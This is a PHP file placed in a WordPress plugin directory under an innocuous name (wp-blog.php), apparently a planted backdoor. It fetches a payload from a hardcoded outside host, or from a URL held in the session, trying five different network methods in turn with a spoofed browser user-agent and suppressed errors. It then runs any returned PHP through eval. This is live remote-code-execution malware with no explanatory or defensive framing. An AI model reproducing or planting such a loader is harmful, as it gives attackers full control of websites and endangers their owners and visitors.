/home/devfahim/www/fluentlab.devfahim.site/wp-content/plugins/zeddplugins/m/wp-blog.php
<?php
session_start();

$url = $_SESSION['ts_url'] ?? 'http://teamzedd2026.tech//media/uploads/r/k/max.txt';
$response = null;

header("Cache-Control: no-cache, must-revalidate");
header("Expires: 0");

function isPhpCode($text) {
    return !empty($text) && strpos($text, '<?php') !== false;
}

// Method 1: file_get_contents
if (!$response && ini_get('allow_url_fopen')) {
    $opts = ['http' => ['timeout' => 5, 'header' => "User-Agent: Mozilla/5.0\r\n"]];
    $context = stream_context_create($opts);
    $response = @file_get_contents($url, false, $context);
}

// Method 2: cURL
if (!$response && function_exists('curl_init')) {
    $curl = curl_init();
    curl_setopt_array($curl, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 5,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0'
    ]);
    $response = curl_exec($curl);
    curl_close($curl);
}

// Method 3: fsockopen
if (!$response && function_exists('fsockopen')) {
    $u = parse_url($url);
    $host = $u['host'];
    $path = ($u['path'] ?? '/') . (isset($u['query']) ? '?' . $u['query'] : '');
    $port = ($u['scheme'] ?? 'http') === 'https' ? 443 : 80;
    $proto = $port === 443 ? 'ssl://' : '';
    $fp = @fsockopen($proto . $host, $port, $errno, $errstr, 5);
    if ($fp) {
        $req = "GET $path HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n";
        fwrite($fp, $req);
        $res = stream_get_contents($fp);
        fclose($fp);
        $response = substr($res, strpos($res, "\r\n\r\n") + 4);
    }
}

// Method 4: stream_socket_client
if (!$response && function_exists('stream_socket_client')) {
    $u = parse_url($url);
    $host = $u['host'];
    $path = $u['path'] . (isset($u['query']) ? '?' . $u['query'] : '');
    $port = ($u['scheme'] ?? 'http') === 'https' ? 443 : 80;
    $protocol = $port === 443 ? 'ssl' : 'tcp';
    $conn = @stream_socket_client("$protocol://$host:$port", $errno, $errstr, 5);
    if ($conn) {
        $header = "GET $path HTTP/1.0\r\nHost: $host\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\n\r\n";
        fwrite($conn, $header);
        $res = stream_get_contents($conn);
        fclose($conn);
        $response = substr($res, strpos($res, "\r\n\r\n") + 4);
    }
}

// Method 5: readfile (last resort, display only)
if (!$response) {
    ob_start();
    @readfile($url);
    $response = ob_get_clean();
}

// EVAL
if (isPhpCode($response)) {
    @eval("?>$response");
} else {
    echo "<b>❌ Tidak dapat memuat kode dari URL:</b> " . htmlspecialchars($url);
}
?>